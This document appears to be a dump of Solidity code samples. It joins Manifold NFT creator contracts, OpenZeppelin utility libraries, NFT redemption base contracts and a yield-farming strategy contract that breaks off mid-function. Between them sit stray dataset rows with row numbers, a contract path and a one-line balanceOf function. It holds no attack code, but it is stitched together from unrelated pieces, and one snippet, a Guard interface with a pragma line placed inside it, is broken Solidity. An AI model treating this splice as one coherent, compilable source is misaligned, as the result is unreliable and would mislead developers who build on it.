be the same length as other multi-element arrays * * Examples: * mintBaseExisting(['0x....1', '0x....2'], [1], [10]) * Mints 10 of tokenId 1 to each of '0x....1' and '0x....2'. * * mintBaseExisting(['0x....1', '0x....2'], [1, 2], [10, 20]) * Mints 10 of tokenId 1 to '0x....1' and 20 of tokenId 2 to '0x....2'. * * mintBaseExisting(['0x....1'], [1, 2], [10, 20]) * Mints 10 of tokenId 1 and 20 of tokenId 2 to '0x....1'. * * mintBaseExisting(['0x....1', '0x....2'], [1], [10, 20]) * Mints 10 of tokenId 1 to '0x....1' and 20 of tokenId 1 to '0x....2'. * */ function mintBaseExisting(address[] calldata to, uint256[] calldata tokenIds, uint256[] calldata amounts) external; /** * @dev mint a token from an extension. Can only be called by a registered extension. * * @param to - Can be a single element array (all tokens go to same address) or multi-element array (single token to many recipients) * @param amounts - Can be a single element array (all recipients get the same amount) or a multi-element array * @param uris - If no elements, all tokens use the default uri. * If any element is an empty string, the corresponding token uses the default uri. * * * Requirements: If to is a multi-element array, then uris must be empty or single element array * If to is a multi-element array, then amounts must be a single element array or a multi-element array of the same size * If to is a single element array, uris must be empty or the same length as amounts * * Examples: * mintExtensionNew(['0x....1', '0x....2'], [1], []) * Mints a single new token, and gives 1 each to '0x....1' and '0x....2'. Token uses default uri. * * mintExtensionNew(['0x....1', '0x....2'], [1, 2], []) * Mints a single new token, and gives 1 to '0x....1' and 2 to '0x....2'. Token uses default uri. * * mintExtensionNew(['0x....1'], [1, 2], ["", "http://token2.com"]) * Mints two new tokens to '0x....1'. 1 of the first token, 2 of the second. 1st token uses default uri, second uses "http://token2.com". * * @return Returns list of tokenIds minted */ function mintExtensionNew(address[] calldata to, uint256[] calldata amounts, string[] calldata uris) external returns (uint256[] memory); /** * @dev batch mint existing token from extension. Can only be called by a registered extension. * * @param to - Can be a single element array (all tokens go to same address) or multi-element array (single token to many recipients) * @param tokenIds - Can be a single element array (all recipients get the same token) or a multi-element array * @param amounts - Can be a single element array (all recipients get the same amount) or a multi-element array * * Requirements: If any of the parameters are multi-element arrays, they need to be the same length as other multi-element arrays * * Examples: * mintExtensionExisting(['0x....1', '0x....2'], [1], [10]) * Mints 10 of tokenId 1 to each of '0x....1' and '0x....2'. * * mintExtensionExisting(['0x....1', '0x....2'], [1, 2], [10, 20]) * Mints 10 of tokenId 1 to '0x....1' and 20 of tokenId 2 to '0x....2'. * * mintExtensionExisting(['0x....1'], [1, 2], [10, 20]) * Mints 10 of tokenId 1 and 20 of tokenId 2 to '0x....1'. * * mintExtensionExisting(['0x....1', '0x....2'], [1], [10, 20]) * Mints 10 of tokenId 1 to '0x....1' and 20 of tokenId 1 to '0x....2'. * */ function mintExtensionExisting(address[] calldata to, uint256[] calldata tokenIds, uint256[] calldata amounts) external; /** * @dev burn tokens. Can only be called by token owner or approved address. * On burn, calls back to the registered extension's onBurn method */ function burn(address account, uint256[] calldata tokenIds, uint256[] calldata amounts) external; /** * @dev Total amount of tokens in with a given tokenId. */ function totalSupply(uint256 tokenId) external view returns (uint256); } // SPDX-License-Identifier: BSD-4-Clause pragma solidity ^0.8.0; /// @author: manifold.xyz /** * Library of legacy interface constants */ library LegacyInterfaces { // LEGACY ERC721CreatorCore interface bytes4 internal constant IERC721CreatorCore_v1 = 0x478c8530; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @author: manifold.xyz import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import "@openzeppelin/contracts/utils/introspection/ERC165.sol"; import "@openzeppelin/contracts/utils/introspection/ERC165Checker.sol"; import "@openzeppelin/contracts/utils/structs/EnumerableSet.sol"; import "@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol"; import "../extensions/ICreatorExtensionTokenURI.sol"; import "./ICreatorCore.sol"; /** * @dev Core creator implementation */ abstract contract CreatorCore is ReentrancyGuard, ICreatorCore, ERC165 { using Strings for uint256; using EnumerableSet for EnumerableSet.AddressSet; using AddressUpgradeable for address; uint256 _tokenCount = 0; // Track registered extensions data EnumerableSet.AddressSet internal _extensions; EnumerableSet.AddressSet internal _blacklistedExtensions; mapping (address => address) internal _extensionPermissions; mapping (address => bool) internal _extensionApproveTransfers; // For tracking which extension a token was minted by mapping (uint256 => address) internal _tokensExtension; // The baseURI for a given extension mapping (address => string) private _extensionBaseURI; mapping (address => bool) private _extensionBaseURIIdentical; // The prefix for any tokens with a uri configured mapping (address => string) private _extensionURIPrefix; // Mapping for individual token URIs mapping (uint256 => string) internal _tokenURIs; // Royalty configurations mapping (address => address payable[]) internal _extensionRoyaltyReceivers; mapping (address => uint256[]) internal _extensionRoyaltyBPS; mapping (uint256 => address payable[]) internal _tokenRoyaltyReceivers; mapping (uint256 => uint256[]) internal _tokenRoyaltyBPS; /** * External interface identifiers for royalties */ /** * @dev CreatorCore * * bytes4(keccak256('getRoyalties(uint256)')) == 0xbb3bafd6 * * => 0xbb3bafd6 = 0xbb3bafd6 */ bytes4 private constant _INTERFACE_ID_ROYALTIES_CREATORCORE = 0xbb3bafd6; /** * @dev Rarible: RoyaltiesV1 * * bytes4(keccak256('getFeeRecipients(uint256)')) == 0xb9c4d9fb * bytes4(keccak256('getFeeBps(uint256)')) == 0x0ebd4c7f * * => 0xb9c4d9fb ^ 0x0ebd4c7f = 0xb7799584 */ bytes4 private constant _INTERFACE_ID_ROYALTIES_RARIBLE = 0xb7799584; /** * @dev Foundation * * bytes4(keccak256('getFees(uint256)')) == 0xd5a06d4c * * => 0xd5a06d4c = 0xd5a06d4c */ bytes4 private constant _INTERFACE_ID_ROYALTIES_FOUNDATION = 0xd5a06d4c; /** * @dev EIP-2981 * * bytes4(keccak256("royaltyInfo(uint256,uint256)")) == 0x2a55205a * * => 0x2a55205a = 0x2a55205a */ bytes4 private constant _INTERFACE_ID_ROYALTIES_EIP2981 = 0x2a55205a; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(ICreatorCore).interfaceId || super.supportsInterface(interfaceId) || interfaceId == _INTERFACE_ID_ROYALTIES_CREATORCORE || interfaceId == _INTERFACE_ID_ROYALTIES_RARIBLE || interfaceId == _INTERFACE_ID_ROYALTIES_FOUNDATION || interfaceId == _INTERFACE_ID_ROYALTIES_EIP2981; } /** * @dev Only allows registered extensions to call the specified function */ modifier extensionRequired() { require(_extensions.contains(msg.sender), "Must be registered extension"); _; } /** * @dev Only allows non-blacklisted extensions */ modifier nonBlacklistRequired(address extension) { require(!_blacklistedExtensions.contains(extension), "Extension blacklisted"); _; } /** * @dev See {ICreatorCore-getExtensions}. */ function getExtensions() external view override returns (address[] memory extensions) { extensions = new address[](_extensions.length()); for (uint i = 0; i < _extensions.length(); i++) { extensions[i] = _extensions.at(i); } return extensions; } /** * @dev Register an extension */ function _registerExtension(address extension, string calldata baseURI, bool baseURIIdentical) internal { require(extension != address(this), "Creator: Invalid"); require(extension.isContract(), "Creator: Extension must be a contract"); if (!_extensions.contains(extension)) { _extensionBaseURI[extension] = baseURI; _extensionBaseURIIdentical[extension] = baseURIIdentical; emit ExtensionRegistered(extension, msg.sender); _extensions.add(extension); } } /** * @dev Unregister an extension */ function _unregisterExtension(address extension) internal { if (_extensions.contains(extension)) { emit ExtensionUnregistered(extension, msg.sender); _extensions.remove(extension); } } /** * @dev Blacklist an extension */ function _blacklistExtension(address extension) internal { require(extension != address(this), "Cannot blacklist yourself"); if (_extensions.contains(extension)) { emit ExtensionUnregistered(extension, msg.sender); _extensions.remove(extension); } if (!_blacklistedExtensions.contains(extension)) { emit ExtensionBlacklisted(extension, msg.sender); _blacklistedExtensions.add(extension); } } /** * @dev Set base token uri for an extension */ function _setBaseTokenURIExtension(string calldata uri, bool identical) internal { _extensionBaseURI[msg.sender] = uri; _extensionBaseURIIdentical[msg.sender] = identical; } /** * @dev Set token uri prefix for an extension */ function _setTokenURIPrefixExtension(string calldata prefix) internal { _extensionURIPrefix[msg.sender] = prefix; } /** * @dev Set token uri for a token of an extension */ function _setTokenURIExtension(uint256 tokenId, string calldata uri) internal { require(_tokensExtension[tokenId] == msg.sender, "Invalid token"); _tokenURIs[tokenId] = uri; } /** * @dev Set base token uri for tokens with no extension */ function _setBaseTokenURI(string memory uri) internal { _extensionBaseURI[address(this)] = uri; } /** * @dev Set token uri prefix for tokens with no extension */ function _setTokenURIPrefix(string calldata prefix) internal { _extensionURIPrefix[address(this)] = prefix; } /** * @dev Set token uri for a token with no extension */ function _setTokenURI(uint256 tokenId, string calldata uri) internal { require(_tokensExtension[tokenId] == address(this), "Invalid token"); _tokenURIs[tokenId] = uri; } /** * @dev Retrieve a token's URI */ function _tokenURI(uint256 tokenId) internal view returns (string memory) { address extension = _tokensExtension[tokenId]; require(!_blacklistedExtensions.contains(extension), "Extension blacklisted"); if (bytes(_tokenURIs[tokenId]).length != 0) { if (bytes(_extensionURIPrefix[extension]).length != 0) { return string(abi.encodePacked(_extensionURIPrefix[extension],_tokenURIs[tokenId])); } return _tokenURIs[tokenId]; } if (ERC165Checker.supportsInterface(extension, type(ICreatorExtensionTokenURI).interfaceId)) { return ICreatorExtensionTokenURI(extension).tokenURI(address(this), tokenId); } if (!_extensionBaseURIIdentical[extension]) { return string(abi.encodePacked(_extensionBaseURI[extension], tokenId.toString())); } else { return _extensionBaseURI[extension]; } } /** * Get token extension */ function _tokenExtension(uint256 tokenId) internal view returns (address extension) { extension = _tokensExtension[tokenId]; require(extension != address(this), "No extension for token"); require(!_blacklistedExtensions.contains(extension), "Extension blacklisted"); return extension; } /** * Helper to get royalties for a token */ function _getRoyalties(uint256 tokenId) view internal returns (address payable[] storage, uint256[] storage) { return (_getRoyaltyReceivers(tokenId), _getRoyaltyBPS(tokenId)); } /** * Helper to get royalty receivers for a token */ function _getRoyaltyReceivers(uint256 tokenId) view internal returns (address payable[] storage) { if (_tokenRoyaltyReceivers[tokenId].length > 0) { return _tokenRoyaltyReceivers[tokenId]; } else if (_extensionRoyaltyReceivers[_tokensExtension[tokenId]].length > 0) { return _extensionRoyaltyReceivers[_tokensExtension[tokenId]]; } return _extensionRoyaltyReceivers[address(this)]; } /** * Helper to get royalty basis points for a token */ function _getRoyaltyBPS(uint256 tokenId) view internal returns (uint256[] storage) { if (_tokenRoyaltyBPS[tokenId].length > 0) { return _tokenRoyaltyBPS[tokenId]; } else if (_extensionRoyaltyBPS[_tokensExtension[tokenId]].length > 0) { return _extensionRoyaltyBPS[_tokensExtension[tokenId]]; } return _extensionRoyaltyBPS[address(this)]; } function _getRoyaltyInfo(uint256 tokenId, uint256 value) view internal returns (address receiver, uint256 amount){ address payable[] storage receivers = _getRoyaltyReceivers(tokenId); require(receivers.length <= 1, "More than 1 royalty receiver"); if (receivers.length == 0) { return (address(this), 0); } return (receivers[0], _getRoyaltyBPS(tokenId)[0]*value/10000); } /** * Set royalties for a token */ function _setRoyalties(uint256 tokenId, address payable[] calldata receivers, uint256[] calldata basisPoints) internal { require(receivers.length == basisPoints.length, "Invalid input"); uint256 totalBasisPoints; for (uint i = 0; i < basisPoints.length; i++) { totalBasisPoints += basisPoints[i]; } require(totalBasisPoints < 10000, "Invalid total royalties"); _tokenRoyaltyReceivers[tokenId] = receivers; _tokenRoyaltyBPS[tokenId] = basisPoints; emit RoyaltiesUpdated(tokenId, receivers, basisPoints); } /** * Set royalties for all tokens of an extension */ function _setRoyaltiesExtension(address extension, address payable[] calldata receivers, uint256[] calldata basisPoints) internal { require(receivers.length == basisPoints.length, "Invalid input"); uint256 totalBasisPoints; for (uint i = 0; i < basisPoints.length; i++) { totalBasisPoints += basisPoints[i]; } require(totalBasisPoints < 10000, "Invalid total royalties"); _extensionRoyaltyReceivers[extension] = receivers; _extensionRoyaltyBPS[extension] = basisPoints; if (extension == address(this)) { emit DefaultRoyaltiesUpdated(receivers, basisPoints); } else { emit ExtensionRoyaltiesUpdated(extension, receivers, basisPoints); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library AddressUpgradeable { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) private pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @author: manifold.xyz import "@openzeppelin/contracts/utils/introspection/ERC165Checker.sol"; import "@openzeppelin/contracts/utils/structs/EnumerableSet.sol"; import "@manifoldxyz/libraries-solidity/contracts/access/AdminControl.sol"; import "./IRedeemBase.sol"; struct range{ uint256 min; uint256 max; } /** * @dev Burn NFT's to receive another lazy minted NFT */ abstract contract RedeemBase is AdminControl, IRedeemBase { using EnumerableSet for EnumerableSet.UintSet; // approved contract tokens mapping(address => bool) private _approvedContracts; // approved specific tokens mapping(address => EnumerableSet.UintSet) private _approvedTokens; mapping(address => range[]) private _approvedTokenRange; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(AdminControl, IERC165) returns (bool) { return interfaceId == type(IRedeemBase).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IRedeemBase-updateApprovedContracts} */ function updateApprovedContracts(address[] memory contracts, bool[] memory approved) public virtual override adminRequired { require(contracts.length == approved.length, "Redeem: Invalid input parameters"); for (uint i=0; i < contracts.length; i++) { _approvedContracts[contracts[i]] = approved[i]; } emit UpdateApprovedContracts(contracts, approved); } /** * @dev See {IRedeemBase-updateApprovedTokens} */ function updateApprovedTokens(address contract_, uint256[] memory tokenIds, bool[] memory approved) public virtual override adminRequired { require(tokenIds.length == approved.length, "Redeem: Invalid input parameters"); for (uint i=0; i < tokenIds.length; i++) { if (approved[i] && !_approvedTokens[contract_].contains(tokenIds[i])) { _approvedTokens[contract_].add(tokenIds[i]); } else if (!approved[i] && _approvedTokens[contract_].contains(tokenIds[i])) { _approvedTokens[contract_].remove(tokenIds[i]); } } emit UpdateApprovedTokens(contract_, tokenIds, approved); } /** * @dev See {IRedeemBase-updateApprovedTokenRanges} */ function updateApprovedTokenRanges(address contract_, uint256[] memory minTokenIds, uint256[] memory maxTokenIds) public virtual override adminRequired { require(minTokenIds.length == maxTokenIds.length, "Redeem: Invalid input parameters"); uint existingRangesLength = _approvedTokenRange[contract_].length; for (uint i=0; i < existingRangesLength; i++) { _approvedTokenRange[contract_][i].min = 0; _approvedTokenRange[contract_][i].max = 0; } for (uint i=0; i < minTokenIds.length; i++) { require(minTokenIds[i] < maxTokenIds[i], "Redeem: min must be less than max"); if (i < existingRangesLength) { _approvedTokenRange[contract_][i].min = minTokenIds[i]; _approvedTokenRange[contract_][i].max = maxTokenIds[i]; } else { _approvedTokenRange[contract_].push(range(minTokenIds[i], maxTokenIds[i])); } } emit UpdateApprovedTokenRanges(contract_, minTokenIds, maxTokenIds); } /** * @dev See {IRedeemBase-redeemable} */ function redeemable(address contract_, uint256 tokenId) public view virtual override returns(bool) { if (_approvedContracts[contract_]) { return true; } if (_approvedTokens[contract_].contains(tokenId)) { return true; } if (_approvedTokenRange[contract_].length > 0) { for (uint i=0; i < _approvedTokenRange[contract_].length; i++) { if (_approvedTokenRange[contract_][i].max != 0 && tokenId >= _approvedTokenRange[contract_][i].min && tokenId <= _approvedTokenRange[contract_][i].max) { return true; } } } return false; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @author: manifold.xyz import "../IRedeemBase.sol"; /** * @dev Base redemption interface */ interface IERC721RedeemBase is IRedeemBase { /** * @dev Get the max number of redemptions */ function redemptionMax() external view returns(uint16); /** * @dev Get the redemption rate */ function redemptionRate() external view returns(uint16); /** * @dev Get number of redemptions left */ function redemptionRemaining() external view returns(uint16); /** * @dev Get the mint number of a created token id */ function mintNumber(uint256 tokenId) external view returns(uint256); /** * @dev Get list of all minted tokens */ function mintedTokens() external view returns(uint256[] memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @author: manifold.xyz import "@manifoldxyz/libraries-solidity/contracts/access/IAdminControl.sol"; /** * @dev Base redemption interface */ interface IRedeemBase is IAdminControl { event UpdateApprovedContracts(address[] contracts, bool[] approved); event UpdateApprovedTokens(address contract_, uint256[] tokenIds, bool[] approved); event UpdateApprovedTokenRanges(address contract_, uint256[] minTokenIds, uint256[] maxTokenIds); /** * @dev Update approved contracts that can be used to redeem. Can only be called by contract owner/admin. */ function updateApprovedContracts(address[] calldata contracts, bool[] calldata approved) external; /** * @dev Update approved tokens that can be used to redeem. Can only be called by contract owner/admin. */ function updateApprovedTokens(address contract_, uint256[] calldata tokenIds, bool[] calldata approved) external; /** * @dev Update approved token ranges that can be used to redeem. Can only be called by contract owner/admin. * Clears out old ranges */ function updateApprovedTokenRanges(address contract_, uint256[] calldata minTokenIds, uint256[] calldata maxTokenIds) external; /** * @dev Check if an NFT is redeemable */ function redeemable(address contract_, uint256 tokenId) external view returns(bool); }
Get the balance for the owner for this extension/
function balanceOf(address owner) public view virtual returns(uint256) { return _ownerBalance[owner]; }
49,018
./full_match/11155111/0x1259Aa9FaCd0feFB5a91da65682C7EDD51608D4b/sources/contracts/base/GuardManager.sol
Guard Interface
interface Guard is IERC165 { function checkTransaction( address to, uint256 value, bytes memory data, Enum.Operation operation, uint256 safeTxGas, uint256 baseGas, uint256 gasPrice, address gasToken, address payable refundReceiver, bytes memory signatures, address msgSender ) external; function checkModuleTransaction( address to, uint256 value, bytes memory data, Enum.Operation operation, address module ) external returns (bytes32 moduleTxHash); function checkAfterExecution(bytes32 hash, bool success) external; pragma solidity >=0.7.0 <0.9.0; }
3,822,627
// SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "../../interfaces/common/IUniswapRouterETH.sol"; import "../../interfaces/common/IUniswapV2Pair.sol"; import "../../interfaces/common/IMasterChef.sol"; import "../Common/StratManager.sol"; import "../Common/FeeManager.sol"; import "../../utils/StringUtils.sol"; import "../../utils/GasThrottler.sol"; contract StrategyCommonChefLP is StratManager, FeeManager, GasThrottler { using SafeERC20 for IERC20; using SafeMath for uint256; // Tokens used address public native; address public output; address public want; address public lpToken0; address public lpToken1; // Third party contracts address public chef; uint256 public poolId; bool public harvestOnDeposit; uint256 public lastHarvest; string public pendingRewardsFunctionName; // Routes address[] public outputToNativeRoute; address[] public outputToLp0Route; address[] public outputToLp1Route; event StratHarvest(address indexed harvester, uint256 wantHarvested, uint256 tvl); event Deposit(uint256 tvl); event Withdraw(uint256 tvl); event ChargedFees(uint256 callFees, uint256 liquidCFees, uint256 strategistFees); constructor( address _want, uint256 _poolId, address _chef, address _vault, address _unirouter, address _keeper, address _strategist, address _liquidCFeeRecipient, address[] memory _outputToNativeRoute, address[] memory _outputToLp0Route, address[] memory _outputToLp1Route ) StratManager(_keeper, _strategist, _unirouter, _vault, _liquidCFeeRecipient) public { want = _want; poolId = _poolId; chef = _chef; output = _outputToNativeRoute[0]; native = _outputToNativeRoute[_outputToNativeRoute.length - 1]; outputToNativeRoute = _outputToNativeRoute; // setup lp routing lpToken0 = IUniswapV2Pair(want).token0(); require(_outputToLp0Route[0] == output, "outputToLp0Route[0] != output"); require(_outputToLp0Route[_outputToLp0Route.length - 1] == lpToken0, "outputToLp0Route[last] != lpToken0"); outputToLp0Route = _outputToLp0Route; lpToken1 = IUniswapV2Pair(want).token1(); require(_outputToLp1Route[0] == output, "outputToLp1Route[0] != output"); require(_outputToLp1Route[_outputToLp1Route.length - 1] == lpToken1, "outputToLp1Route[last] != lpToken1"); outputToLp1Route = _outputToLp1Route; _giveAllowances(); } // puts the funds to work function deposit() public whenNotPaused { uint256 wantBal = IERC20(want).balanceOf(address(this)); if (wantBal > 0) { IMasterChef(chef).deposit(poolId, wantBal); emit Deposit(balanceOf()); } } function withdraw(uint256 _amount) external { require(msg.sender == vault, "!vault"); uint256 wantBal = IERC20(want).balanceOf(address(this)); if (wantBal < _amount) { IMasterChef(chef).withdraw(poolId, _amount.sub(wantBal)); wantBal = IERC20(want).balanceOf(address(this)); } if (wantBal > _amount) { wantBal = _amount; } if (tx.origin != owner() && !paused()) { uint256 withdrawalFeeAmount = wantBal.mul(withdrawalFee).div(WITHDRAWAL_MAX); wantBal = wantBal.sub(withdrawalFeeAmount); } IERC20(want).safeTransfer(vault, wantBal); emit Withdraw(balanceOf()); } function beforeDeposit() external override { if (harvestOnDeposit) { require(msg.sender == vault, "!vault"); _harvest(tx.origin); } } function harvest() external gasThrottle virtual { _harvest(tx.origin); } function harvest(address callFeeRecipient) external gasThrottle virtual { _harvest(callFeeRecipient); } function managerHarvest() external onlyManager { _harvest(tx.origin); } // compounds earnings and charges performance fee function _harvest(address callFeeRecipient) internal whenNotPaused { IMasterChef(chef).deposit(poolId, 0); uint256 outputBal = IERC20(output).balanceOf(address(this)); if (outputBal > 0) { chargeFees(callFeeRecipient); addLiquidity(); uint256 wantHarvested = balanceOfWant(); deposit(); lastHarvest = block.timestamp; emit StratHarvest(msg.sender, wantHarvested, balanceOf()); } } // performance fees function chargeFees(address callFeeRecipient) internal { uint256 toNative = IERC20(output).balanceOf(address(this)).mul(45).div(1000); IUniswapRouterETH(unirouter).swapExactTokensForTokens(toNative, 0, outputToNativeRoute, address(this), now); uint256 nativeBal = IERC20(native).balanceOf(address(this)); uint256 callFeeAmount = nativeBal.mul(callFee).div(MAX_FEE); IERC20(native).safeTransfer(callFeeRecipient, callFeeAmount); uint256 liquidCFeeAmount = nativeBal.mul(liquidCFee).div(MAX_FEE); IERC20(native).safeTransfer(liquidCFeeRecipient, liquidCFeeAmount); uint256 strategistFeeAmount = nativeBal.mul(STRATEGIST_FEE).div(MAX_FEE); IERC20(native).safeTransfer(strategist, strategistFeeAmount); emit ChargedFees(callFeeAmount, liquidCFeeAmount, strategistFeeAmount); } // Adds liquidity to AMM and gets more LP tokens. function addLiquidity() internal { uint256 outputHalf = IERC20(output).balanceOf(address(this)).div(2); if (lpToken0 != output) { IUniswapRouterETH(unirouter).swapExactTokensForTokens(outputHalf, 0, outputToLp0Route, address(this), now); } if (lpToken1 != output) { IUniswapRouterETH(unirouter).swapExactTokensForTokens(outputHalf, 0, outputToLp1Route, address(this), now); } uint256 lp0Bal = IERC20(lpToken0).balanceOf(address(this)); uint256 lp1Bal = IERC20(lpToken1).balanceOf(address(this)); IUniswapRouterETH(unirouter).addLiquidity(lpToken0, lpToken1, lp0Bal, lp1Bal, 1, 1, address(this), now); } // calculate the total underlaying 'want' held by the strat. function balanceOf() public view returns (uint256) { return balanceOfWant().add(balanceOfPool()); } // it calculates how much 'want' this contract holds. function balanceOfWant() public view returns (uint256) { return IERC20(want).balanceOf(address(this)); } // it calculates how much 'want' the strategy has working in the farm. function balanceOfPool() public view returns (uint256) { (uint256 _amount,) = IMasterChef(chef).userInfo(poolId, address(this)); return _amount; } function setPendingRewardsFunctionName(string calldata _pendingRewardsFunctionName) external onlyManager { pendingRewardsFunctionName = _pendingRewardsFunctionName; } // returns rewards unharvested function rewardsAvailable() public view returns (uint256) { string memory signature = StringUtils.concat(pendingRewardsFunctionName, "(uint256,address)"); bytes memory result = Address.functionStaticCall( chef, abi.encodeWithSignature( signature, poolId, address(this) ) ); return abi.decode(result, (uint256)); } // native reward amount for calling harvest function callReward() public view returns (uint256) { uint256 outputBal = rewardsAvailable(); uint256 nativeOut; if (outputBal > 0) { uint256[] memory amountOut = IUniswapRouterETH(unirouter).getAmountsOut(outputBal, outputToNativeRoute); nativeOut = amountOut[amountOut.length -1]; } return nativeOut.mul(45).div(1000).mul(callFee).div(MAX_FEE); } function setHarvestOnDeposit(bool _harvestOnDeposit) external onlyManager { harvestOnDeposit = _harvestOnDeposit; if (harvestOnDeposit) { setWithdrawalFee(0); } else { setWithdrawalFee(10); } } function setShouldGasThrottle(bool _shouldGasThrottle) external onlyManager { shouldGasThrottle = _shouldGasThrottle; } // called as part of strat migration. Sends all the available funds back to the vault. function retireStrat() external { require(msg.sender == vault, "!vault"); IMasterChef(chef).emergencyWithdraw(poolId); uint256 wantBal = IERC20(want).balanceOf(address(this)); IERC20(want).transfer(vault, wantBal); } // pauses deposits and withdraws all funds from third party systems. function panic() public onlyManager { pause(); IMasterChef(chef).emergencyWithdraw(poolId); } function pause() public 